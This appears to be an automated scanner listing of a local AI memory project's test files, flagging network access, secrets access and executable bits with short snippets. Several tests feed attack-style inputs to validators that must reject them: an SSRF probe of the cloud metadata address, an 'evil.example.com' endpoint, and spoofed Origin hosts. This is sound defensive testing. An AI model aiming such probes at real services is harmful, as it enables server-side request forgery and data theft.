tests/storage/test_vector_residue.py
- Executable scriptline 1
Executable file
tests/storage/test_write_coordinator.py
- Executable scriptline 1
Executable file
tests/storage/test_write_coordinator_deadline.py
- Executable scriptline 1
Executable file
tests/storage/test_write_coordinator_waits_can_be_stopped.py
- Executable scriptline 1
Executable file
tests/stress/test_386_canonical_legacy_multiprocess_contention.py
- Executable scriptline 1
Executable file
tests/stress/test_386_canonical_runtime_release.py
- Executable scriptline 1
Executable file
tests/stress/test_386_mode_parity_release.py
- Executable scriptline 1
Executable file
tests/stress/test_hook_events_never_lost.py
tests/stress/test_remember_journal_burst.py
- Executable scriptline 1
Executable file
tests/test_acceptance_brain_truth.py
- Executable scriptline 1
Executable file
tests/test_acceptance_compliance.py
tests/test_acceptance_consolidation.py
- Executable scriptline 1
Executable file
tests/test_acceptance_core.py
- Executable scriptline 1
Executable file - Access to secretsline 8
[Credential-related source omitted] - Network accessline 37
`bar()` is defined locally; `requests.get()` is external and can never - Network accessline 44
" return bar()\n\n\n" "def bar():\n" " return requests.get('https://example.invalid')\n", - Network accessline 45
"def bar():\n" " return requests.get('https://example.invalid')\n", encoding="utf-8", - Network accessline 46
" return requests.get('https://example.invalid')\n", - Access to secretsline 85
[Credential-related source omitted] - Network accessline 145
[Credential-related source omitted] - Network accessline 146
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Network accessline 147
api_base="https://provider.example.com/v1", - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Network accessline 158
"""Re-saving what the UI displayed must not strip https://. - Network accessline 168
cfg = SLMConfig() cfg.llm = dataclasses.replace( cfg.llm, api_base="https://provider.example.com/v1" - Network accessline 169
cfg.llm = dataclasses.replace( cfg.llm, api_base="https://provider.example.com/v1" ) - Network accessline 170
cfg.llm, api_base="https://provider.example.com/v1" - Access to secretsline 174
[Credential-related source omitted] - Network accessline 203
err = validate_remote_reranker_config("openai", "http://evil.example.com/v1/rerank") - Network accessline 215
assert not validate_remote_reranker_config( "openai", "http://127.0.0.1:8041/v1/rerank" - Network accessline 216
"openai", "http://127.0.0.1:8041/v1/rerank" - Network accessline 220
"endpoint", [ "http://192.168.1.50:8041/v1/rerank", - Network accessline 221
[ "http://192.168.1.50:8041/v1/rerank", "http://10.0.0.7:8041/v1/rerank", - Network accessline 222
"http://192.168.1.50:8041/v1/rerank", - Network accessline 223
"http://10.0.0.7:8041/v1/rerank", - Network accessline 224
"http://172.16.4.2:8041/v1/rerank",
tests/test_access/__init__.py
- Executable scriptline 1
Executable file
tests/test_access/test_rbac_engine.py
- Executable scriptline 1
Executable file
tests/test_adapters/__init__.py
- Executable scriptline 1
Executable file
tests/test_adapters/conftest.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_antigravity_adapter.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_content_builder.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_copilot_adapter.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_copilot_adapter_nondestructive.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_cross_platform_connector.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_cursor_adapter.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_extra_coverage.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_static_protocol_security.py
- Executable scriptline 1
Executable file
tests/test_adapters/test_sync_loop.py
tests/test_api/__init__.py
- Executable scriptline 1
Executable file
tests/test_api/conftest.py
- Executable scriptline 1
Executable file
tests/test_api/test_a_used_memory_can_leave_forgotten.py
- Executable scriptline 1
Executable file
tests/test_api/test_activity_metadata_attribution.py
- Executable scriptline 1
Executable file
tests/test_api/test_agent_memory_activity.py
- Executable scriptline 1
Executable file
tests/test_api/test_api_associations.py
- Executable scriptline 1
Executable file
tests/test_api/test_api_auto_invoke.py
- Executable scriptline 1
Executable file
tests/test_api/test_api_consolidation.py
- Executable scriptline 1
Executable file
tests/test_api/test_api_lifespan_contract.py
- Executable scriptline 1
Executable file
tests/test_api/test_api_v33.py
- Executable scriptline 1
Executable file
tests/test_api/test_brain_endpoint.py
- Executable scriptline 1
Executable file
tests/test_api/test_config_api.py
tests/test_api/test_dashboard_phase_truth.py
- Executable scriptline 1
Executable file
tests/test_api/test_dashboard_source_truth.py
- Executable scriptline 1
Executable file
tests/test_api/test_engine_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_api/test_provider_test_endpoint.py
- Executable scriptline 1
Executable file - Network accessline 26
def raise_for_status(self) -> None: if self.status_code >= 400: raise httpx.HTTPStatusError("err", request=None, response=self) - Network accessline 28
raise httpx.HTTPStatusError("err", request=None, response=self) - Network accessline 76
def test_ssrf_loopback_caller_may_target_private() -> None: assert v3_api._validate_provider_url("http://192.168.50.140:8043/v1", "127.0.0.1") is None - Network accessline 77
assert v3_api._validate_provider_url("http://192.168.50.140:8043/v1", "127.0.0.1") is None - Network accessline 80
def test_ssrf_remote_caller_blocked_from_private() -> None: assert v3_api._validate_provider_url("http://192.168.50.140:8043/v1", "10.0.0.9") is not None - Network accessline 81
assert v3_api._validate_provider_url("http://192.168.50.140:8043/v1", "10.0.0.9") is not None - Network accessline 82
assert v3_api._validate_provider_url("http://127.0.0.1:11434", "10.0.0.9") is not None - Network accessline 85
def test_ssrf_metadata_always_blocked() -> None: assert v3_api._validate_provider_url("http://169.254.169.254/latest/meta-data", "127.0.0.1") is not None - Network accessline 86
assert v3_api._validate_provider_url("http://169.254.169.254/latest/meta-data", "127.0.0.1") is not None - Network accessline 105
monkeypatch.setattr(egress_policy.socket, "getaddrinfo", _public) assert v3_api._validate_provider_url("https://api.openai.com/v1", "10.0.0.9") is None - Network accessline 106
assert v3_api._validate_provider_url("https://api.openai.com/v1", "10.0.0.9") is None - Network accessline 115
monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.50.144") assert v3_api._validate_provider_url( "http://192.168.50.140:8043/v1", "192.168.50.144", - Network accessline 116
assert v3_api._validate_provider_url( "http://192.168.50.140:8043/v1", "192.168.50.144", ) is None - Network accessline 117
"http://192.168.50.140:8043/v1", "192.168.50.144", - Network accessline 126
monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.50.144") assert v3_api._validate_provider_url( "http://192.168.50.140:8043/v1", "10.9.9.9", - Network accessline 127
assert v3_api._validate_provider_url( "http://192.168.50.140:8043/v1", "10.9.9.9", ) is not None - Network accessline 128
"http://192.168.50.140:8043/v1", "10.9.9.9", - Network accessline 137
monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.50.144") assert v3_api._validate_provider_url( "http://192.168.50.140:8043/v1", "192.168.50.144", - Network accessline 138
assert v3_api._validate_provider_url( "http://192.168.50.140:8043/v1", "192.168.50.144", ) is not None - Network accessline 139
"http://192.168.50.140:8043/v1", "192.168.50.144", - Network accessline 147
response = TestClient(app).post( "/api/v3/embedding/test", json={"api_endpoint": "http://127.0.0.1:11434"}, - Network accessline 148
"/api/v3/embedding/test", json={"api_endpoint": "http://127.0.0.1:11434"}, ) - Network accessline 149
json={"api_endpoint": "http://127.0.0.1:11434"}, - Network accessline 157
"provider": "openai", "model": "local-model", "base_url": "http://192.168.50.140:8043/v1", - Network accessline 159
"base_url": "http://192.168.50.140:8043/v1", - Access to secretsline 160
[Credential-related source omitted] - Network accessline 171
"provider": "openai", "model": "local-model", "base_url": "http://192.168.50.140:8043/v1", - Network accessline 172
[Credential-related source omitted] - Network accessline 173
"base_url": "http://192.168.50.140:8043/v1", - Access to secretsline 174
[Credential-related source omitted] - Network accessline 184
"provider": "openai", "model": "local-model", "endpoint": "http://192.168.50.140:8043/v1", - Network accessline 185
"model": "local-model", "endpoint": "http://192.168.50.140:8043/v1", }) - Network accessline 186
"endpoint": "http://192.168.50.140:8043/v1",
tests/test_api/test_s9_w4_brain_contract.py
- Executable scriptline 1
Executable file
tests/test_api/test_token_endpoint.py
- Executable scriptline 1
Executable file - Network accessline 79
resp = client.get( "/internal/token", headers={"Origin": "http://127.0.0.1:8765"}, - Network accessline 80
"/internal/token", headers={"Origin": "http://127.0.0.1:8765"}, ) - Network accessline 81
headers={"Origin": "http://127.0.0.1:8765"}, - Network accessline 90
resp = client.get( "/internal/token", headers={"Origin": "http://localhost:8765"}, - Network accessline 91
"/internal/token", headers={"Origin": "http://localhost:8765"}, ) - Network accessline 92
headers={"Origin": "http://localhost:8765"}, - Network accessline 102
resp = client.get( "/internal/token", headers={"Origin": "https://127.0.0.1:8765"}, - Network accessline 103
"/internal/token", headers={"Origin": "https://127.0.0.1:8765"}, ) - Network accessline 104
headers={"Origin": "https://127.0.0.1:8765"}, - Network accessline 113
resp = client.get( "/internal/token", headers={"Origin": "https://evil.example.com"}, - Network accessline 114
"/internal/token", headers={"Origin": "https://evil.example.com"}, ) - Network accessline 115
headers={"Origin": "https://evil.example.com"}, - Network accessline 122
"origin", [ "http://localhost.evil.example", - Network accessline 123
[ "http://localhost.evil.example", "http://127.0.0.1.attacker.example", - Network accessline 124
"http://localhost.evil.example", - Network accessline 125
"http://127.0.0.1.attacker.example", - Network accessline 126
"http://localhost@evil.example", - Network accessline 202
resp = TestClient(app).get( "/internal/token", headers={"Origin": "http://192.168.50.144:8765"}, - Network accessline 203
"/internal/token", headers={"Origin": "http://192.168.50.144:8765"}, ) - Network accessline 204
headers={"Origin": "http://192.168.50.144:8765"},
tests/test_api/test_worker_idle_config.py
- Executable scriptline 1
Executable file - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted]
tests/test_architecture/__init__.py
- Executable scriptline 1
Executable file
tests/test_architecture/test_import_ratchet.py
tests/test_architecture/test_no_heavy_ml_on_import.py
tests/test_auto_hooks.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_before_web_hook.py
- Executable scriptline 1
Executable file - Network accessline 33
def test_webfetch_url_field(self): assert bwh._extract_query({"tool_input": {"url": "https://example.com"}}) == "https://example.com" - Network accessline 34
assert bwh._extract_query({"tool_input": {"url": "https://example.com"}}) == "https://example.com" - Network accessline 38
ti = {"tool_input": {"url": "https://example.com", "prompt": "summarize this"}}
tests/test_behavioral_full.py
- Executable scriptline 1
Executable file
tests/test_benchmark_drift_guard.py
tests/test_benchmark_exp12_trial_accounting.py
- Executable scriptline 1
Executable file
tests/test_benchmark_provenance.py
- Executable scriptline 1
Executable file
tests/test_benchmark_suite_reachability.py
- Executable scriptline 1
Executable file
tests/test_benchmark_trial_distribution.py
tests/test_benchmarks/__init__.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/chart_export.py
tests/test_benchmarks/evo_memory.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/evo_memory_multiseed.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/fixtures/__init__.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/fixtures/generate_synthetic_fixture.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/locomo/README.md
- Network accessline 7
that did not ship in the public repo. This directory contains the minimum public surface needed to reproduce those numbers on the same [LoCoMo dataset](https://arxiv.org/abs/2402.09714). - Network accessline 9
[LoCoMo dataset](https://arxiv.org/abs/2402.09714). - Network accessline 33
# The dataset paper is arxiv.org/abs/2402.09714. Clone the # upstream repo, or download the JSON directly: curl -L -o /tmp/locomo.json https://raw.githubusercontent.com/.../locomo10.json - Network accessline 35
curl -L -o /tmp/locomo.json https://raw.githubusercontent.com/.../locomo10.json
tests/test_benchmarks/locomo/__init__.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/locomo/run_locomo.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/locomo/score.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/test_evo_memory_runner.py
- Executable scriptline 1
Executable file
tests/test_benchmarks/test_hook_cold_start.py
tests/test_benchmarks/test_resource_lifecycle_harness.py
- Executable scriptline 1
Executable file
tests/test_benchmarks_leave_no_file_open.py
- Executable scriptline 1
Executable file
tests/test_binary/__init__.py
- Executable scriptline 1
Executable file
tests/test_binary/conftest.py
- Executable scriptline 1
Executable file
tests/test_binary/test_bin_slm_python_version_gate.py
tests/test_binary/test_dispatcher_fallback.py
tests/test_binary/test_entry_generator.py
- Executable scriptline 1
Executable file - Network accessline 242
"the quick brown fox", "class FooBar(BaseClass): pass", "https://qualixar.com/path?x=1", - Network accessline 243
"class FooBar(BaseClass): pass", "https://qualixar.com/path?x=1", '"quoted string with spaces"', - Network accessline 244
"https://qualixar.com/path?x=1", - Access to secretsline 323
[Credential-related source omitted]
tests/test_binary/test_manifest_generator.py
- Executable scriptline 1
Executable file - Dangerous shell operationline 18
import release_manifest as rm # noqa — path injected by conftest - Network accessline 52
assert entry["arch"] == "arm64" assert entry["url"].startswith( "https://github.com/qualixar/superlocalmemory/releases/download" - Network accessline 53
assert entry["url"].startswith( "https://github.com/qualixar/superlocalmemory/releases/download" ) - Network accessline 54
"https://github.com/qualixar/superlocalmemory/releases/download" - Network accessline 224
"version": "3.4.22", "released_at": "now", "assets": [{ "name": "a.tgz", "url": "https://x/a.tgz", - Network accessline 225
"assets": [{ "name": "a.tgz", "url": "https://x/a.tgz", "size_bytes": 1, "sha256": "short", "signing": "unsigned", - Network accessline 226
"name": "a.tgz", "url": "https://x/a.tgz", - Network accessline 237
"version": "3.4.22", "released_at": "now", "assets": [{ "name": "a.tgz", "url": "https://x/a.tgz", - Network accessline 238
"assets": [{ "name": "a.tgz", "url": "https://x/a.tgz", "size_bytes": 1, "sha256": "a" * 64, "signing": "WRONG", - Network accessline 239
"name": "a.tgz", "url": "https://x/a.tgz",
tests/test_brain/test_truth.py
- Executable scriptline 1
Executable file
tests/test_bump_version.py
- Executable scriptline 1
Executable file
tests/test_cache/__init__.py
- Executable scriptline 1
Executable file
tests/test_cache/conftest.py
- Executable scriptline 1
Executable file
tests/test_cache/test_activation_hook.py
- Executable scriptline 1
Executable file
tests/test_cache/test_clear_and_policy.py
- Executable scriptline 1
Executable file
tests/test_cache/test_keys.py
- Executable scriptline 1
Executable file
tests/test_cache/test_lru.py
- Executable scriptline 1
Executable file
tests/test_cache/test_sqlite_store.py
- Executable scriptline 1
Executable file
tests/test_cache/test_tiered_and_factory.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/__init__.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_a_hung_test_is_named.py
tests/test_ci_guards/test_canonical_data_root_surface.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_checkout_line_endings.py
tests/test_ci_guards/test_cli_mutation_identity.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_config_mutation_auth.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_cozo_store_compatibility.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_cross_language_data_root_contract.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_daemon_descriptor_guard.py
tests/test_ci_guards/test_dashboard_write_auth.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_hermes_integration_contract.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_installation_surface_contract.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_installer_ci_matrix.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_integration_contract_matrix.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_integration_evidence_generation.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_no_magicmock_artifacts.py
tests/test_ci_guards/test_no_unrouted_fact_inserts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_ci_guards/test_pending_store_boundary.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_plugin_start_command_checker.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_portable_start_command_checker.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_python_floor_is_stated_consistently.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_release_distribution.py
tests/test_ci_guards/test_release_evidence.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_release_gate_integrity.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_release_package_surface.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_sqlite_connections_are_closed.py
tests/test_ci_guards/test_stage5b_gate.py
- Executable scriptline 1
Executable file
tests/test_ci_guards/test_test_environment_isolation.py
- Executable scriptline 1
Executable file - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 63
@pytest.mark.parametrize("port", [8765, 8767]) def test_live_public_daemon_ports_are_denied(port: int) -> None: sock = socket.socket() - Network accessline 64
def test_live_public_daemon_ports_are_denied(port: int) -> None: sock = socket.socket() try: - Network accessline 65
sock = socket.socket() - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted]
tests/test_ci_guards/test_text_files_name_their_encoding.py
tests/test_ci_guards/test_windows_installer_contract.py
- Executable scriptline 1
Executable file
tests/test_claude_hooks.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli/__init__.py
- Executable scriptline 1
Executable file
tests/test_cli/test_a_model_download_ends_with_its_parent.py
- Executable scriptline 1
Executable file
tests/test_cli/test_account_check_on_windows.py
- Executable scriptline 1
Executable file
tests/test_cli/test_admission_cli_tier.py
- Executable scriptline 1
Executable file
tests/test_cli/test_backup_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_brain_truth_adapter.py
- Executable scriptline 1
Executable file
tests/test_cli/test_cli_metadata_read_only.py
tests/test_cli/test_compress_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_connect_dry_run_blackbox.py
tests/test_cli/test_daemon_child_exit.py
- Executable scriptline 1
Executable file
tests/test_cli/test_daemon_clock_drift_identity.py
- Executable scriptline 1
Executable file - Access to secretsline 132
[Credential-related source omitted] - Network accessline 152
_daemon, "process_start_token_for", return_value=LIVE_TOKEN, ), patch( "urllib.request.urlopen", return_value=_HealthResponse(health), - Network accessline 153
), patch( "urllib.request.urlopen", return_value=_HealthResponse(health), ): - Network accessline 154
"urllib.request.urlopen", return_value=_HealthResponse(health), - Access to secretsline 242
[Credential-related source omitted] - Access to secretsline 271
[Credential-related source omitted]
tests/test_cli/test_daemon_cold_start_wait.py
- Executable scriptline 1
Executable file - Network accessline 48
if mode == "exit": sys.exit(0) srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - Network accessline 49
sys.exit(0) srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", port)); srv.listen(16) - Network accessline 50
srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - Network accessline 77
def _free_port() -> int: with socket.socket() as probe: - Network accessline 78
with socket.socket() as probe: - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 387
[Credential-related source omitted]
tests/test_cli/test_daemon_identity_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_daemon_instance_lock.py
- Executable scriptline 1
Executable file - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 277
acquire = source.index("acquire_with_backoff") assert acquire < source.index("listener.bind") assert acquire < source.index("socket.socket(") - Network accessline 278
assert acquire < source.index("listener.bind") assert acquire < source.index("socket.socket(") assert acquire < source.index("_publish_process_descriptor") - Network accessline 279
assert acquire < source.index("socket.socket(")
tests/test_cli/test_daemon_lock_window.py
- Executable scriptline 1
Executable file
tests/test_cli/test_daemon_main_module_record.py
tests/test_cli/test_daemon_owned_discovery.py
- Executable scriptline 1
Executable file - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Network accessline 98
assert calls == ["http://127.0.0.1:43124/health"] - Network accessline 104
descriptor = _owned_descriptor(port=43124) health = {"status": "ok", **descriptor.public_health_fields()} redirected = _HealthResponse(health, final_url="http://127.0.0.1:8767/health") - Network accessline 106
redirected = _HealthResponse(health, final_url="http://127.0.0.1:8767/health") - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Network accessline 280
health = {"status": "ok", **descriptor.public_health_fields()} conflict = urllib.error.HTTPError( "http://127.0.0.1:43134/remember", - Network accessline 281
conflict = urllib.error.HTTPError( "http://127.0.0.1:43134/remember", 409, - Network accessline 282
"http://127.0.0.1:43134/remember", - Access to secretsline 452
[Credential-related source omitted] - Access to secretsline 462
[Credential-related source omitted] - Network accessline 469
with patch( "urllib.request.urlopen", - Network accessline 470
"urllib.request.urlopen", - Network accessline 479
request.assert_called_once_with( "http://127.0.0.1:43135/health", - Network accessline 480
"http://127.0.0.1:43135/health",
tests/test_cli/test_daemon_paths.py
- Executable scriptline 1
Executable file
tests/test_cli/test_daemon_port_conflict.py
- Executable scriptline 1
Executable file - Network accessline 32
def _ephemeral_port() -> int: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Network accessline 33
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Network accessline 114
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tests/test_cli/test_daemon_record_guardian.py
tests/test_cli/test_daemon_server_error.py
- Executable scriptline 1
Executable file - Network accessline 15
def _http(status: int, body) -> urllib.error.HTTPError: raw = body if isinstance(body, bytes) else json.dumps(body).encode() return urllib.error.HTTPError("http://127.0.0.1:1/x", status, "err", {}, io.BytesIO(raw)) - Network accessline 17
return urllib.error.HTTPError("http://127.0.0.1:1/x", status, "err", {}, io.BytesIO(raw))
tests/test_cli/test_daemon_stop_wait_bound.py
- Executable scriptline 1
Executable file
tests/test_cli/test_daemon_unavailable_diagnosis.py
tests/test_cli/test_daemon_unpublished_owner.py
tests/test_cli/test_delete_reaches_any_profile.py
- Executable scriptline 1
Executable file
tests/test_cli/test_deployment_policy_regressions.py
- Executable scriptline 1
Executable file
tests/test_cli/test_diagnostics_cmd.py
tests/test_cli/test_doctor_daemon_liveness.py
- Executable scriptline 1
Executable file - Network accessline 18
health = MagicMock(return_value=None) request = MagicMock(return_value={}) def fetch(record, path, timeout): - Network accessline 19
request = MagicMock(return_value={}) def fetch(record, path, timeout): limit = (doctor_daemon.HEALTH_TIMEOUT if path == "/health" - Network accessline 20
def fetch(record, path, timeout): - Network accessline 173
def fetch(rec, path, timeout): - Network accessline 194
def fetch(rec, path, timeout): - Network accessline 217
def fetch(rec, path, timeout):
tests/test_cli/test_doctor_deadline.py
- Executable scriptline 1
Executable file - Network accessline 46
class Handler(BaseHTTPRequestHandler): def do_GET(self): requests.append(self.path) - Network accessline 47
def do_GET(self): requests.append(self.path) try: - Network accessline 48
requests.append(self.path) - Network accessline 78
elapsed = time.monotonic() - began assert elapsed < CHECK_TIMEOUT + 0.2, f"diagnostic took {elapsed:.3f}s" assert requests.count("/health") == 1 - Network accessline 79
assert elapsed < CHECK_TIMEOUT + 0.2, f"diagnostic took {elapsed:.3f}s" assert requests.count("/health") == 1 assert {p.pid for p in psutil.Process().children()} == children - Network accessline 80
assert requests.count("/health") == 1
tests/test_cli/test_doctor_exit_status.py
tests/test_cli/test_doctor_health_verdicts.py
- Executable scriptline 1
Executable file
tests/test_cli/test_doctor_host_diagnostics.py
- Executable scriptline 1
Executable file
tests/test_cli/test_doctor_main_readonly.py
- Executable scriptline 1
Executable file - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted]
tests/test_cli/test_doctor_reads_what_upgrade_hosts_refreshes.py
- Executable scriptline 1
Executable file
tests/test_cli/test_doctor_reports_data_repairs.py
- Executable scriptline 1
Executable file
tests/test_cli/test_doctor_reports_failed_saves.py
- Executable scriptline 1
Executable file
tests/test_cli/test_doctor_reports_hook_spool.py
- Executable scriptline 1
Executable file
tests/test_cli/test_doctor_reports_mesh_db.py
- Executable scriptline 1
Executable file
tests/test_cli/test_embedder_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_embedder_upgrade_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_fidelity_diagnostics.py
- Executable scriptline 1
Executable file
tests/test_cli/test_forget_daemon_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_forget_dry_run.py
- Executable scriptline 1
Executable file
tests/test_cli/test_help_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_hermes_plugin_grant.py
- Executable scriptline 1
Executable file
tests/test_cli/test_host_upgrade_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_json_error_paths.py
- Executable scriptline 1
Executable file
tests/test_cli/test_kinds_backfill_bad_run_id.py
- Executable scriptline 1
Executable file
tests/test_cli/test_kinds_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_kinds_cmd_json_flag_placement.py
- Executable scriptline 1
Executable file
tests/test_cli/test_kinds_cmd_refusal_mapping.py
- Executable scriptline 1
Executable file - Network accessline 5
message) and a 404 as what was actually asked (not a fixed phrase written for one specific caller). Routed through the REAL ``cli.daemon.daemon_request`` — only ``urllib.request.urlopen`` is faked, so this exercises daemon.py's own - Network accessline 6
one specific caller). Routed through the REAL ``cli.daemon.daemon_request`` — only ``urllib.request.urlopen`` is faked, so this exercises daemon.py's own status-code-to-exception mapping, not a reimplementation of it. - Network accessline 7
only ``urllib.request.urlopen`` is faked, so this exercises daemon.py's own
tests/test_cli/test_laya_after_upgrade.py
- Executable scriptline 1
Executable file
tests/test_cli/test_legacy_service_migration.py
tests/test_cli/test_lifecycle_autostart_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_linux_service_status.py
- Executable scriptline 1
Executable file
tests/test_cli/test_list_kind_filter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 149
[Credential-related source omitted]
tests/test_cli/test_main_additive.py
tests/test_cli/test_media_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_mesh_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_messages_name_real_commands.py
- Executable scriptline 1
Executable file
tests/test_cli/test_migration_logs_beside_a_moved_database_are_found.py
- Executable scriptline 1
Executable file
tests/test_cli/test_models_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_mutation_conflict_message.py
- Executable scriptline 1
Executable file
tests/test_cli/test_mutation_daemon_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_mutation_unknown_id.py
- Executable scriptline 1
Executable file
tests/test_cli/test_one_shot_commands_build_no_answer_check.py
- Executable scriptline 1
Executable file
tests/test_cli/test_ops_resolve_bad_id.py
- Executable scriptline 1
Executable file - Network accessline 7
``f"/operations/{operation_id}/resolve"``; ``_daemon_post`` only caught ``HTTPError``/``URLError``, so a literal U+2026 placeholder (or any ASCII-unsafe-but-printable ID) reached ``http.client``'s request-line - Network accessline 8
``HTTPError``/``URLError``, so a literal U+2026 placeholder (or any ASCII-unsafe-but-printable ID) reached ``http.client``'s request-line encoding unescaped and raised an uncaught ``UnicodeEncodeError`` -- a raw - Network accessline 9
ASCII-unsafe-but-printable ID) reached ``http.client``'s request-line - Network accessline 70
def _ephemeral_port() -> int: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Network accessline 71
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Access to secretsline 105
[Credential-related source omitted]
tests/test_cli/test_optimize_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_output_survives_a_legacy_code_page.py
tests/test_cli/test_pending_store_profile_isolation.py
- Executable scriptline 1
Executable file
tests/test_cli/test_pending_store_safety.py
- Executable scriptline 1
Executable file
tests/test_cli/test_platform_import_safety.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
